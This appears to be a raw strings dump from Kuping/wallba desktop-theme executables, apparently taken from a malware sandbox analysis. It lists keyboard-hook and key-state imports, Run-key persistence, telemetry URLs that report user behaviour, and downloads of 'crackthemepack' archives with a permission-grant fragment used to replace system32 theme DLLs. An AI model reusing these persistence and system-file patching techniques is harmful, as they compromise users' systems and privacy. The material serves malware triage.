RegDeleteKeyA
RegFlushKey
RegFlushKey
ADVAPI32.dll
ADVAPI32.dll
ShellExecuteA
ShellExecuteA
SHELL32.dll
SHELL32.dll
ole32.dll
ole32.dll
MSVCP60.dll
MSVCP60.dll
NETAPI32.dll
NETAPI32.dll
IMAGEHLP.dll
IMAGEHLP.dll
WS2_32.dll
WS2_32.dll
zlib1.dll
zlib1.dll
unrar.dll
unrar.dll
MSIMG32.dll
MSIMG32.dll
GdipSetImageAttributesColorKeys
GdipSetImageAttributesColorKeys
gdiplus.dll
gdiplus.dll
RICHED20.dll
RICHED20.dll
IMM32.dll
IMM32.dll
GetAsyncKeyState
GetAsyncKeyState
SetWindowsHookExA
SetWindowsHookExA
UnhookWindowsHookEx
UnhookWindowsHookEx
GDI32.dll
GDI32.dll
COMCTL32.dll
COMCTL32.dll
OLEAUT32.dll
OLEAUT32.dll
ImportExitOrderToUBS
ImportExitOrderToUBS
ImportUserBehaviorToUBS
ImportUserBehaviorToUBS
ImportSoftInformationToUBS
ImportSoftInformationToUBS
UserBehaviorStatistics.dll
UserBehaviorStatistics.dll
DTB_PassiveStart
DTB_PassiveStart
TongJIUrl
TongJIUrl
http://tj.153624.com/behavior/
http://tj.153624.com/behavior/
Software\Microsoft\Windows\CurrentVersion\Run
Software\Microsoft\Windows\CurrentVersion\Run
1.0.0.4
1.0.0.4
version.ini
version.ini
update/soft.ini
update/soft.ini
http://config.153624.com/desktoptool/icon_xml.xml
http://config.153624.com/desktoptool/icon_xml.xml
softset.ini
softset.ini
%d,%d,%d,%d,%d,%d
%d,%d,%d,%d,%d,%d
*.xml|*.zip
*.xml|*.zip
WallPaperUsed.xml
WallPaperUsed.xml
WallPaperLike.xml
WallPaperLike.xml
WallPaperLoc.xml
WallPaperLoc.xml
Web\Wallpaper\Bliss.bmp
Web\Wallpaper\Bliss.bmp
\Web\Wallpaper\Windows\img0.jpg
\Web\Wallpaper\Windows\img0.jpg
WallPaperIni\WallPaperSytle.xml
WallPaperIni\WallPaperSytle.xml
http://
http://
wallpaper.bmp
wallpaper.bmp
http://v5.kuping.cc/resource/wallpaper/wallpaper_l/%s/0/0/create_time/0/1_100/0.zip
http://v5.kuping.cc/resource/wallpaper/wallpaper_l/%s/0/0/create_time/0/1_100/0.zip
UniversalMini.exe
UniversalMini.exe
c:\Kp5Desktoopbar\app\
c:\Kp5Desktoopbar\app\
c:\Kp5Desktoopbar\appdown\
c:\Kp5Desktoopbar\appdown\
c:\Kp5Desktoopbar\bz\
c:\Kp5Desktoopbar\bz\
getnew.exe
getnew.exe
SOFTWAREMicrosoftWindowsCurrentVersionRun\
SOFTWAREMicrosoftWindowsCurrentVersionRun\
SystemConfig\setting.ini
SystemConfig\setting.ini
%[^ ] %[^ ] %s
%[^ ] %[^ ] %s
http://config.153624.com/Public/conf/open/1/%s_%s/10.jpg
http://config.153624.com/Public/conf/open/1/%s_%s/10.jpg
http://tj.153624.com/report/
http://tj.153624.com/report/
TongJICNZZ.dll
TongJICNZZ.dll
windows 3.1
windows 3.1
windows 95,
windows 95,
windows 98,
windows 98,
windows NT
windows NT
windows 2000
windows 2000
windows xp
windows xp
windows 2003
windows 2003
windows 2008
windows 2008
windows 7
windows 7
windows 8
windows 8
http://config.153624.com/Public/conf/c-lock/1/%s_%s/%s.xml
http://config.153624.com/Public/conf/c-lock/1/%s_%s/%s.xml
4.3.1.1
4.3.1.1
QueryInterface failed! ctrl: %d
QueryInterface failed! ctrl: %d
Can't find the ctrl: %d
Can't find the ctrl: %d
\Default\DesktopToolBarAbout.ini
\Default\DesktopToolBarAbout.ini
Default\DesktopToolBarAbout.ini
Default\DesktopToolBarAbout.ini
iexplore.exe
iexplore.exe
\skinConfig\Default\DesktopToolAdd.ini
\skinConfig\Default\DesktopToolAdd.ini
\skinConfig\Default\APP.ini
\skinConfig\Default\APP.ini
http://v5.kuping.cc/other/player/category.xml
http://v5.kuping.cc/other/player/category.xml
category.xml
category.xml
MsgBox
MsgBox
IsShow
IsShow
IsFirst.ini
IsFirst.ini
\skinConfig\Default\DesktopToolBarBZ.ini
\skinConfig\Default\DesktopToolBarBZ.ini
application/x-www-form-urlencoded
application/x-www-form-urlencoded
v5.kuping.cc
v5.kuping.cc
.jpg,.png,.bmp,.jpeg
.jpg,.png,.bmp,.jpeg
http://v5.kuping.cc/resource/wallpaper/wallpaper_l/%s/0/0/create_time/0/%d_100/%s.zip
http://v5.kuping.cc/resource/wallpaper/wallpaper_l/%s/0/0/create_time/0/%d_100/%s.zip
LikePicID.ini
LikePicID.ini
\skinConfig\Default\DesktopToolBar.ini
\skinConfig\Default\DesktopToolBar.ini
\skinConfig\DesktopToolBarLocation.ini
\skinConfig\DesktopToolBarLocation.ini
\skinConfig\AppUrl.ini
\skinConfig\AppUrl.ini
set_bg.png
set_bg.png
dotted.png
dotted.png
set_focus.png
set_focus.png
set_4.png
set_4.png
set_3.png
set_3.png
set_2.png
set_2.png
set_1.png
set_1.png
desktoptoolbar_msg
desktoptoolbar_msg
\skinConfig\Default\DesktopToolBarMsg.ini
\skinConfig\Default\DesktopToolBarMsg.ini
http://config.153624.com/desktoptool/so_xml.xml
http://config.153624.com/desktoptool/so_xml.xml
so.xml
so.xml
DesktopToolBarSearchInfo.ini
DesktopToolBarSearchInfo.ini
keyword
keyword
\DesktopToolBarSearch.ini
\DesktopToolBarSearch.ini
skinconfig.ini
skinconfig.ini
suggestion.baidu.com
suggestion.baidu.com
DTB_ClickKeyword
DTB_ClickKeyword
\DesktopToolBarSetting.ini
\DesktopToolBarSetting.ini
DTB_KeyboardShortcut
DTB_KeyboardShortcut
\IeList.ini
\IeList.ini
0900936iso-ir-581028598iso_8859-81201255iso_8859-8-i1200932cswindows31j
0900936iso-ir-581028598iso_8859-81201255iso_8859-8-i1200932cswindows31j
0628597greek81201258windows-1258
0628597greek81201258windows-1258
1201257windows-12570738598logical
1201257windows-12570738598logical
1201256windows-12560651932euc-jp
1201256windows-12560651932euc-jp
1201255windows-1255
1201255windows-1255
2701143x-ebcdic-finlandsweden-euro1201254windows-1254
2701143x-ebcdic-finlandsweden-euro1201254windows-1254
0801251x-cp12511201253windows-12531400949ks_c_5601_19871528599iso_8859-9:1989
0801251x-cp12511201253windows-12531400949ks_c_5601_19871528599iso_8859-9:1989
0801250x-cp12501201252windows-1252
0801250x-cp12501201252windows-1252
1201251windows-12511528598iso_8859-8:1988
1201251windows-12511528598iso_8859-8:1988
1201250windows-12502301149x-ebcdic-icelandic-euro
1201250windows-12502301149x-ebcdic-icelandic-euro
1150220iso-2022-jp1100874windows-874
1150220iso-2022-jp1100874windows-874
1901145x-ebcdic-spain-euro1620127iso_646.irv:1991
1901145x-ebcdic-spain-euro1620127iso_646.irv:1991
0551932x-euc1250221_iso-2022-jp1000932csshiftjis
0551932x-euc1250221_iso-2022-jp1000932csshiftjis
http-equiv
http-equiv
<>=\/?!"';
<>=\/?!"';
(%d nulls removed)
(%d nulls removed)
length %d
length %d
to length %d
to length %d
to %d bytes
to %d bytes
from length %d
from length %d
from byte length %d
from byte length %d
\DeskRelevance.ini
\DeskRelevance.ini
\tips.ini
\tips.ini
\CWyst_AddPicDlg.ini
\CWyst_AddPicDlg.ini
http://config.153624.com/Public/conf/game_recommend/1/9_%s/10.xml
http://config.153624.com/Public/conf/game_recommend/1/9_%s/10.xml
GameIcon\LocalGame.xml
GameIcon\LocalGame.xml
GameIcon\KPToolBar_Game.xml
GameIcon\KPToolBar_Game.xml
GameIcon\Nomal\gameicon.png
GameIcon\Nomal\gameicon.png
\skinConfig\Default\ToolGames.ini
\skinConfig\Default\ToolGames.ini
%d,%d,%d
%d,%d,%d
isshow
isshow
iconurl
iconurl
User32.DLL
User32.DLL
Location: %s
Location: %s
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.17 (KHTML, like Gecko) Chrome/24.0.1312.57 Safari/537.17 SE 2.X MetaSr 1.0
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.17 (KHTML, like Gecko) Chrome/24.0.1312.57 Safari/537.17 SE 2.X MetaSr 1.0
HTTP/1.1
HTTP/1.1
kernel32.dll
kernel32.dll
%s*.*
%s*.*
%s\*.*
%s\*.*
%s%s%s
%s%s%s
colorkey
colorkey
layer_%d
layer_%d
tsShowBack
tsShowBack
tsShowClose
tsShowClose
%d,%d,%d,%d
%d,%d,%d,%d
%d,%d
%d,%d
%f,%f,%f,%f
%f,%f,%f,%f
%u,%x,%u,%u,%u,%s
%u,%x,%u,%u,%u,%s
%d/%d,
%d/%d,
%d,%d,%d,%d,%d,%d,%d,%d
%d,%d,%d,%d,%d,%d,%d,%d
D:\Program Files3
D:\Program Files3
D:\Program Files2
D:\Program Files2
D:\Program Files1
D:\Program Files1
WINDOWS
WINDOWS
.jpeg
.jpeg
%d,%d,%d,%d,%x
%d,%d,%d,%d,%x
%[^|]|%d,%d,%d,%d,%[^,],%d,%x,%d|%d
%[^|]|%d,%d,%d,%d,%[^,],%d,%x,%d|%d
FilterByFolderBtn%d
FilterByFolderBtn%d
%d,%d,%d,%d|%x|%s
%d,%d,%d,%d|%x|%s
%[^|]|%d,%d,%d,%d,%[^,],%d,%x,%d
%[^|]|%d,%d,%d,%d,%[^,],%d,%x,%d
%s %d %s
%s %d %s
1.2.8
1.2.8
location: %s
location: %s
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:20.0) Gecko/20100101 Firefox/20.0
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:20.0) Gecko/20100101 Firefox/20.0
Content-Disposition: form-data; name="%s"
Content-Disposition: form-data; name="%s"
1.2.7
1.2.7
1, 0, 1, 5
1, 0, 1, 5
KPTOOLBAR.EXE
KPTOOLBAR.EXE
kt_Mini.exe_1796:
.text
.text
`.rdata
`.rdata
@.data
@.data
.rsrc
.rsrc
MFC42.DLL
MFC42.DLL
MSVCRT.dll
MSVCRT.dll
_acmdln
_acmdln
KERNEL32.dll
KERNEL32.dll
USER32.dll
USER32.dll
MSVCP60.dll
MSVCP60.dll
0900936iso-ir-581028598iso_8859-81201255iso_8859-8-i1200932cswindows31j
0900936iso-ir-581028598iso_8859-81201255iso_8859-8-i1200932cswindows31j
0628597greek81201258windows-1258
0628597greek81201258windows-1258
1201257windows-12570738598logical
1201257windows-12570738598logical
1201256windows-12560651932euc-jp
1201256windows-12560651932euc-jp
1201255windows-1255
1201255windows-1255
2701143x-ebcdic-finlandsweden-euro1201254windows-1254
2701143x-ebcdic-finlandsweden-euro1201254windows-1254
0801251x-cp12511201253windows-12531400949ks_c_5601_19871528599iso_8859-9:1989
0801251x-cp12511201253windows-12531400949ks_c_5601_19871528599iso_8859-9:1989
0801250x-cp12501201252windows-1252
0801250x-cp12501201252windows-1252
1201251windows-12511528598iso_8859-8:1988
1201251windows-12511528598iso_8859-8:1988
1201250windows-12502301149x-ebcdic-icelandic-euro
1201250windows-12502301149x-ebcdic-icelandic-euro
1150220iso-2022-jp1100874windows-874
1150220iso-2022-jp1100874windows-874
1901145x-ebcdic-spain-euro1620127iso_646.irv:1991
1901145x-ebcdic-spain-euro1620127iso_646.irv:1991
0551932x-euc1250221_iso-2022-jp1000932csshiftjis
0551932x-euc1250221_iso-2022-jp1000932csshiftjis
%s\%s
%s\%s
minikey
minikey
softset.ini
softset.ini
GetExeFlag
GetExeFlag
UniversalFunction.dll
UniversalFunction.dll
1.0.0.1
1.0.0.1
version.ini
version.ini
2013,1,1,1,1,1
2013,1,1,1,1,1
dddddd
dddddd
1987,1,1,1,1,1
1987,1,1,1,1,1
softProc
softProc
KP_5.exe
KP_5.exe
1, 0, 0, 1
1, 0, 0, 1
UniversalMini.EXE
UniversalMini.EXE
kuping_v4.exe_464:
.text
.text
`.rdata
`.rdata
@.data
@.data
.rsrc
.rsrc
F SShz
F SShz
N SShx
N SShx
tS9.tF
tS9.tF
MFC42.DLL
MFC42.DLL
MSVCRT.dll
MSVCRT.dll
_acmdln
_acmdln
WinExec
WinExec
GetWindowsDirectoryA
GetWindowsDirectoryA
KERNEL32.dll
KERNEL32.dll
ExitWindowsEx
ExitWindowsEx
GetKeyState
GetKeyState
GetAsyncKeyState
GetAsyncKeyState
USER32.dll
USER32.dll
GDI32.dll
GDI32.dll
RegCloseKey
RegCloseKey
RegCreateKeyExA
RegCreateKeyExA
RegOpenKeyA
RegOpenKeyA
RegOpenKeyExA
RegOpenKeyExA
RegCreateKeyA
RegCreateKeyA
RegQueryInfoKeyA
RegQueryInfoKeyA
RegFlushKey
RegFlushKey
ADVAPI32.dll
ADVAPI32.dll
ShellExecuteA
ShellExecuteA
ShellExecuteExA
ShellExecuteExA
SHELL32.dll
SHELL32.dll
ole32.dll
ole32.dll
OLEAUT32.dll
OLEAUT32.dll
GdipSetImageAttributesColorKeys
GdipSetImageAttributesColorKeys
gdiplus.dll
gdiplus.dll
MSVCP60.dll
MSVCP60.dll
IMAGEHLP.dll
IMAGEHLP.dll
WS2_32.dll
WS2_32.dll
?PreTranslateMessage@CSkinCenterDlg@@UAEHPAUtagMSG@@@Z
?PreTranslateMessage@CSkinCenterDlg@@UAEHPAUtagMSG@@@Z
?GetMessageMap@CSkinCenterDlg@@MBEPBUAFX_MSGMAP@@XZ
?GetMessageMap@CSkinCenterDlg@@MBEPBUAFX_MSGMAP@@XZ
SkinCenter.dll
SkinCenter.dll
unrar.dll
unrar.dll
NETAPI32.dll
NETAPI32.dll
PSAPI.DLL
PSAPI.DLL
VERSION.dll
VERSION.dll
MSIMG32.dll
MSIMG32.dll
SetWindowsHookExA
SetWindowsHookExA
UnhookWindowsHookEx
UnhookWindowsHookEx
COMCTL32.dll
COMCTL32.dll
kuping_v4.exe
kuping_v4.exe
4.3.1.1
4.3.1.1
version.ini
version.ini
QueryInterface failed! ctrl: %d
QueryInterface failed! ctrl: %d
Can't find the ctrl: %d
Can't find the ctrl: %d
\AboutDlgConfig\MainDlg.ini
\AboutDlgConfig\MainDlg.ini
skinconfig.ini
skinconfig.ini
http://www.wallba.com
http://www.wallba.com
\AppDlgConfig\MainDlgSkin.ini
\AppDlgConfig\MainDlgSkin.ini
Appsoftconfig\button.xml
Appsoftconfig\button.xml
Appsoftconfig\image\soft.xml
Appsoftconfig\image\soft.xml
http://config.wallba.com/Public/Configs/AppSoftconf.xml
http://config.wallba.com/Public/Configs/AppSoftconf.xml
HKEY_LOCAL_MACHINE
HKEY_LOCAL_MACHINE
HKEY_CURRENT_USER
HKEY_CURRENT_USER
HKEY_CLASSES_ROOT
HKEY_CLASSES_ROOT
WallPlayer.exe
WallPlayer.exe
Appsoftconfig\softtempfile\soft.xml
Appsoftconfig\softtempfile\soft.xml
%System32%
%System32%
wallplay\config\List_imge_theme_config\image.xml
wallplay\config\List_imge_theme_config\image.xml
wallplay\config\WallPlayerConfig\WallPlayImage.xml
wallplay\config\WallPlayerConfig\WallPlayImage.xml
Location: %s
Location: %s
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.17 (KHTML, like Gecko) Chrome/24.0.1312.57 Safari/537.17 SE 2.X MetaSr 1.0
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.17 (KHTML, like Gecko) Chrome/24.0.1312.57 Safari/537.17 SE 2.X MetaSr 1.0
HTTP/1.1
HTTP/1.1
http://
http://
kernel32.dll
kernel32.dll
Software\Microsoft\Windows\CurrentVersion\Run
Software\Microsoft\Windows\CurrentVersion\Run
X-X-X-X-X-X
X-X-X-X-X-X
%s\*.*
%s\*.*
Microsoft Windows 95
Microsoft Windows 95
Microsoft Windows NT 4.0
Microsoft Windows NT 4.0
Microsoft Windows 98
Microsoft Windows 98
Microsoft Windows Me
Microsoft Windows Me
Microsoft Windows 2000
Microsoft Windows 2000
Microsoft Windows XP
Microsoft Windows XP
Microsoft Windows Server 2003 R2
Microsoft Windows Server 2003 R2
Microsoft Windows Server 2003
Microsoft Windows Server 2003
Microsoft Windows XP Professional x64 Edition
Microsoft Windows XP Professional x64 Edition
Microsoft Windows Server 2008
Microsoft Windows Server 2008
Microsoft Windows Vista
Microsoft Windows Vista
Microsoft Windows Server 2008 R2
Microsoft Windows Server 2008 R2
Microsoft Windows 7
Microsoft Windows 7
ImportExitOrderToUBS
ImportExitOrderToUBS
ImportUserBehaviorToUBS
ImportUserBehaviorToUBS
ImportSoftInformationToUBS
ImportSoftInformationToUBS
UserBehaviorStatistics.dll
UserBehaviorStatistics.dll
temp.jpg
temp.jpg
\DownloadWebImageDlg\MainSkin.ini
\DownloadWebImageDlg\MainSkin.ini
%d%d%d%d%d
%d%d%d%d%d
241870897
241870897
TempDownLoad\FeedBack\qqNum.xml
TempDownLoad\FeedBack\qqNum.xml
\FeedbackDlgConfig\MainFeedbackDlg.ini
\FeedbackDlgConfig\MainFeedbackDlg.ini
set.png
set.png
focus.png
focus.png
http://config.wallba.com/Public/Configs/user_info.xml
http://config.wallba.com/Public/Configs/user_info.xml
.kpscr
.kpscr
.kplgui
.kplgui
.kpicon
.kpicon
.kpcur
.kpcur
.kprar
.kprar
.kptheme
.kptheme
%s %%1
%s %%1
%s\Shell\Open\Command
%s\Shell\Open\Command
%s\Shell
%s\Shell
%s\DefaultIcon
%s\DefaultIcon
%s\kuping_v4.exe,%d
%s\kuping_v4.exe,%d
%s\KpInstallTheme.exe
%s\KpInstallTheme.exe
softset.ini
softset.ini
http://int.dpool.sina.com.cn/iplookup/iplookup.php
http://int.dpool.sina.com.cn/iplookup/iplookup.php
TempDownLoad\UserLive\UserLive.ini
TempDownLoad\UserLive\UserLive.ini
TempDownLoad\TagInfo\TagVersion.ini
TempDownLoad\TagInfo\TagVersion.ini
skinConfig\skinversion.ini
skinConfig\skinversion.ini
TempDownLoad\SearchBuff.ini
TempDownLoad\SearchBuff.ini
Appsoftconfig\APPversion.ini
Appsoftconfig\APPversion.ini
TempDownLoad\Home\Homeversion.ini
TempDownLoad\Home\Homeversion.ini
http://config.wallba.com/Public/Configs/Functon_version.xml
http://config.wallba.com/Public/Configs/Functon_version.xml
TempDownLoad\UserLive\version.ini
TempDownLoad\UserLive\version.ini
userlive.xml
userlive.xml
%s%s.xml
%s%s.xml
http://config.wallba.com/Public/Configs/KpLiveControl/
http://config.wallba.com/Public/Configs/KpLiveControl/
TempDownLoad\Home\tempfile\home.xml
TempDownLoad\Home\tempfile\home.xml
http://config.wallba.com/Public/Configs/KpIndexConf.xml
http://config.wallba.com/Public/Configs/KpIndexConf.xml
Appsoftconfig\tempfile\soft.xml
Appsoftconfig\tempfile\soft.xml
skinConfig\tempfile\SkinSetting.xml
skinConfig\tempfile\SkinSetting.xml
http://config.wallba.com/Public/Configs/SkinSetting.xml
http://config.wallba.com/Public/Configs/SkinSetting.xml
TempDownLoad\TagInfo\list_win7.xml
TempDownLoad\TagInfo\list_win7.xml
http://img.wallba.com/Public/Configs/Album/list_win7.xml
http://img.wallba.com/Public/Configs/Album/list_win7.xml
TempDownLoad\TagInfo\list_xp.xml
TempDownLoad\TagInfo\list_xp.xml
http://img.wallba.com/Public/Configs/Album/list_xp.xml
http://img.wallba.com/Public/Configs/Album/list_xp.xml
TempDownLoad\Home\home.xml
TempDownLoad\Home\home.xml
%s\system32\themeui.dll
%s\system32\themeui.dll
%s\system32\uxtheme.dll
%s\system32\uxtheme.dll
crackthemepackwinxp.rar
crackthemepackwinxp.rar
%s\system32
%s\system32
.backup
.backup
%s\system32\dllcache\themeui.dll
%s\system32\dllcache\themeui.dll
%s\system32\dllcache\uxtheme.dll
%s\system32\dllcache\uxtheme.dll
%s\system32\themeservice.dll
%s\system32\themeservice.dll
crackthemepackwin7.rar
crackthemepackwin7.rar
%s /grant administrators:F
%s /grant administrators:F
/f %s
/f %s
crackthemepackwin7x64.rar
crackthemepackwin7x64.rar
Kernel32.dll
Kernel32.dll
urlEx
urlEx
weburl
weburl
\WebContro.ini
\WebContro.ini
login
login
IsShowWindow
IsShowWindow
IndividualCenter.dll
IndividualCenter.dll
loginInfo\head.jpg
loginInfo\head.jpg
http://kuping.wallba.com/web/help.html#win7sj
http://kuping.wallba.com/web/help.html#win7sj
\KPUpdater.dll
\KPUpdater.dll
set_1.png
set_1.png
SepLine.png
SepLine.png
tui-chu.png
tui-chu.png
menu_move.png
menu_move.png
about.png
about.png
feedback_icon.png
feedback_icon.png
help_icon.png
help_icon.png
show.png
show.png
\MenuSetConfig.ini
\MenuSetConfig.ini
update.png
update.png
set_icon.png
set_icon.png
KpInstallTheme.exe
KpInstallTheme.exe
http://www.wallba.com/Help.shtml
http://www.wallba.com/Help.shtml
IsLogin
IsLogin
getnew.exe
getnew.exe
http://tj.153624.com/behavior/
http://tj.153624.com/behavior/
http://tj.153624.com/report/
http://tj.153624.com/report/
TongJICNZZ.dll
TongJICNZZ.dll
update/soft.ini
update/soft.ini
updateupgrade.exe_0
updateupgrade.exe_0
updateupgrade.exe
updateupgrade.exe
SystemConfig\setting.ini
SystemConfig\setting.ini
http://config.wallba.com/Public/Configs/Liveindex.html?id=
http://config.wallba.com/Public/Configs/Liveindex.html?id=
http://img.wallba.com/Public/Configs/index.html?id=
http://img.wallba.com/Public/Configs/index.html?id=
Kpclick.ini
Kpclick.ini
%d,%d,%d,%d,%d,%d
%d,%d,%d,%d,%d,%d
\UpdateUi\UpdateSkin.ini
\UpdateUi\UpdateSkin.ini
\MainSkin.ini
\MainSkin.ini
GetLoginHashValue
GetLoginHashValue
GetLoginUid
GetLoginUid
InitLogin
InitLogin
login.dll
login.dll
LocBootScreen.xml
LocBootScreen.xml
LocIconsfolder.xml
LocIconsfolder.xml
LocScreensaver.xml
LocScreensaver.xml
LocMouseponit.xml
LocMouseponit.xml
LocThemeXml.xml
LocThemeXml.xml
LocWallpaleXml.xml
LocWallpaleXml.xml
StowBootScreen.xml
StowBootScreen.xml
StowIconsfolder.xml
StowIconsfolder.xml
StowScreensaver.xml
StowScreensaver.xml
StowMouseponit.xml
StowMouseponit.xml
stowThemeXml.xml
stowThemeXml.xml
StowWallpaleXml.xml
StowWallpaleXml.xml
wallpaper.bmp
wallpaper.bmp
EXPLORER.EXE
EXPLORER.EXE
UniversalMini.exe
UniversalMini.exe
%skuping_v4.exe start
%skuping_v4.exe start
kuping_v4.exe start
kuping_v4.exe start
\softset.ini
\softset.ini
%sKp_BootClr.exe
%sKp_BootClr.exe
contact=%s:%s&content=%s
contact=%s:%s&content=%s
/index.php?s=/Index/comment_save/
/index.php?s=/Index/comment_save/
kuping.wallba.com
kuping.wallba.com
loginInfo\head_new.jpg
loginInfo\head_new.jpg
head.jpg
head.jpg
loginInfo\
loginInfo\
nick
nick
msg_num
msg_num
/kp_api.php?s=User/getuser&uid=
/kp_api.php?s=User/getuser&uid=
member.wallba.com
member.wallba.com
StartUp.xml
StartUp.xml
http://config.wallba.com/Public/Configs/KpStartupControl/%s.xml
http://config.wallba.com/Public/Configs/KpStartupControl/%s.xml
%system32%
%system32%
TempDownLoad\StartUp\tempfile\StartUp.xml
TempDownLoad\StartUp\tempfile\StartUp.xml
kptest.tmp
kptest.tmp
http://img.wallba.com/Public/caijiansuoluetu/2013nian/8yue/0808fj.jpg
http://img.wallba.com/Public/caijiansuoluetu/2013nian/8yue/0808fj.jpg
http://img.wallba.com/Public/caijiansuoluetu/2013nian/8yue/0809kt.jpg
http://img.wallba.com/Public/caijiansuoluetu/2013nian/8yue/0809kt.jpg
http://img.wallba.com/Public/caijiansuoluetu/2013nian/8yue/0808kt.jpg
http://img.wallba.com/Public/caijiansuoluetu/2013nian/8yue/0808kt.jpg
http://config.wallba.com/Public/Configs/KpInstall/AnImg.xml
http://config.wallba.com/Public/Configs/KpInstall/AnImg.xml
http://config.153624.com/Public/conf/open/1/%s_%s/10.jpg
http://config.153624.com/Public/conf/open/1/%s_%s/10.jpg
img.wallba.com
img.wallba.com
%d/xp/%d/%d/%d
%d/xp/%d/%d/%d
%d/win7/%d/%d/%d
%d/win7/%d/%d/%d
%d/%d/%d/%d/%d
%d/%d/%d/%d/%d
%d/0/%d/%d/%d
%d/0/%d/%d/%d
%s/%d.xml
%s/%d.xml
%d%d%d%d%d%d%d.xml
%d%d%d%d%d%d%d.xml
thumbnail.xml
thumbnail.xml
TempWallFile\TempThemWall.jpg
TempWallFile\TempThemWall.jpg
kpTailor.exe
kpTailor.exe
%dK/s
%dK/s
/Public/Configs/Album/%d
/Public/Configs/Album/%d
/%d.xml
/%d.xml
KpInstallTheme.exe type=
KpInstallTheme.exe type=
\Web\Wallpaper\Windows\img0.jpg
\Web\Wallpaper\Windows\img0.jpg
Web\Wallpaper\bliss.jpg
Web\Wallpaper\bliss.jpg
\NoticeDlgSkin.ini
\NoticeDlgSkin.ini
skinConfig\skinconfig.ini
skinConfig\skinconfig.ini
.jpeg
.jpeg
KpInstallTheme.exe
KpInstallTheme.exe
\SettingMenuDlgConfig\MainMenuDlgSkin.ini
\SettingMenuDlgConfig\MainMenuDlgSkin.ini
-iexplore.exe
-iexplore.exe
windows 3.1
windows 3.1
windows 95,
windows 95,
windows 98,
windows 98,
windows NT
windows NT
windows 2000
windows 2000
windows xp
windows xp
windows 2003
windows 2003
windows 2008
windows 2008
windows 7
windows 7
windows 8
windows 8
http://config.wallba.com/Public/Configs/themecrack/crackthemepackwin7x64.rar
http://config.wallba.com/Public/Configs/themecrack/crackthemepackwin7x64.rar
http://config.wallba.com/Public/Configs/themecrack/crackthemepackwin7.rar
http://config.wallba.com/Public/Configs/themecrack/crackthemepackwin7.rar
http://config.wallba.com/Public/Configs/themecrack/crackthemepackwinxp.rar
http://config.wallba.com/Public/Configs/themecrack/crackthemepackwinxp.rar
\themeui.dll
\themeui.dll
\UpdateUi\SkinCenter.ini
\UpdateUi\SkinCenter.ini
SkinSetting.xml
SkinSetting.xml
\UpdateNoticeDlg.ini
\UpdateNoticeDlg.ini
&key=
&key=
/stat.php?c=download&a=add
/stat.php?c=download&a=add
stat.wallba.com
stat.wallba.com
/stat/statUserAction.php
/stat/statUserAction.php
action.wallba.com
action.wallba.com
Windows 7
Windows 7
Windows Vista
Windows Vista
tongji.zhenlaji.com
tongji.zhenlaji.com
%s %d
%s %d
HTTP/1.0
HTTP/1.0
Content-Type: application/x-www-form-urlencoded
Content-Type: application/x-www-form-urlencoded
.PAVCInternetException@@
.PAVCInternetException@@
Range: bytes=%d-%d
Range: bytes=%d-%d
Range: bytes=%d-
Range: bytes=%d-
User-Agent: Mozilla/4.0 (compatible; MSIE 5.0; Windows NT; DigExt; DTS Agent;)
User-Agent: Mozilla/4.0 (compatible; MSIE 5.0; Windows NT; DigExt; DTS Agent;)
Referer: %s
Referer: %s
http://www.wallba.com/
http://www.wallba.com/
Host: %s
Host: %s
GET %s HTTP/1.1
GET %s HTTP/1.1
%s_%d
%s_%d
/kp_api.php?s=favorite/addFavorite
/kp_api.php?s=favorite/addFavorite
down_url
down_url
type_%d
type_%d
IEOpenURL
IEOpenURL
SystemExeName
SystemExeName
KeyFilePath
KeyFilePath
KeyPath
KeyPath
0900936iso-ir-581028598iso_8859-81201255iso_8859-8-i1200932cswindows31j
0900936iso-ir-581028598iso_8859-81201255iso_8859-8-i1200932cswindows31j
0628597greek81201258windows-1258
0628597greek81201258windows-1258
1201257windows-12570738598logical
1201257windows-12570738598logical
1201256windows-12560651932euc-jp
1201256windows-12560651932euc-jp
1201255windows-1255
1201255windows-1255
2701143x-ebcdic-finlandsweden-euro1201254windows-1254
2701143x-ebcdic-finlandsweden-euro1201254windows-1254
0801251x-cp12511201253windows-12531400949ks_c_5601_19871528599iso_8859-9:1989
0801251x-cp12511201253windows-12531400949ks_c_5601_19871528599iso_8859-9:1989
0801250x-cp12501201252windows-1252
0801250x-cp12501201252windows-1252
1201251windows-12511528598iso_8859-8:1988
1201251windows-12511528598iso_8859-8:1988
1201250windows-12502301149x-ebcdic-icelandic-euro
1201250windows-12502301149x-ebcdic-icelandic-euro
1150220iso-2022-jp1100874windows-874
1150220iso-2022-jp1100874windows-874
1901145x-ebcdic-spain-euro1620127iso_646.irv:1991
1901145x-ebcdic-spain-euro1620127iso_646.irv:1991
0551932x-euc1250221_iso-2022-jp1000932csshiftjis
0551932x-euc1250221_iso-2022-jp1000932csshiftjis
http-equiv
http-equiv
<>=\/?!"';
<>=\/?!"';
(%d nulls removed)
(%d nulls removed)
length %d
length %d
to length %d
to length %d
to %d bytes
to %d bytes
from length %d
from length %d
from byte length %d
from byte length %d
%s("%s","%s","%s")
%s("%s","%s","%s")
CWebBrowser2
CWebBrowser2
WebBrowser Create Failed!
WebBrowser Create Failed!
www.baidu.com
www.baidu.com
%d %d
%d %d
btn%d_count
btn%d_count
btn%d_image
btn%d_image
btn%d_chage
btn%d_chage
%d %d %d %d
%d %d %d %d
%d %d %
%d %d %
progressShadow
progressShadow
colorkey
colorkey
isshow
isshow
layer_%d
layer_%d
x=%d,y=%d
x=%d,y=%d
ui/empty.png
ui/empty.png
_DeleteElem(): item=%d, elem=%d, type=%d, nType=%d
_DeleteElem(): item=%d, elem=%d, type=%d, nType=%d
CGuiTree::DeleteItem(): id=%d
CGuiTree::DeleteItem(): id=%d
\themeservice.dll
\themeservice.dll
\uxtheme.dll
\uxtheme.dll
Windows 7 Home
Windows 7 Home
Microsoft Windows Millennium Edition
Microsoft Windows Millennium Edition
Microsoft Windows 98
Microsoft Windows 98
Microsoft Windows 95
Microsoft Windows 95
%s (Build %d)
%s (Build %d)
Service Pack 6a (Build %d)
Service Pack 6a (Build %d)
SOFTWARE\Microsoft\Windows NT\CurrentVersion\Hotfix\Q246009
SOFTWARE\Microsoft\Windows NT\CurrentVersion\Hotfix\Q246009
%d.%d
%d.%d
Web Edition
Web Edition
Microsoft Windows NT
Microsoft Windows NT
Microsoft Windows 2000
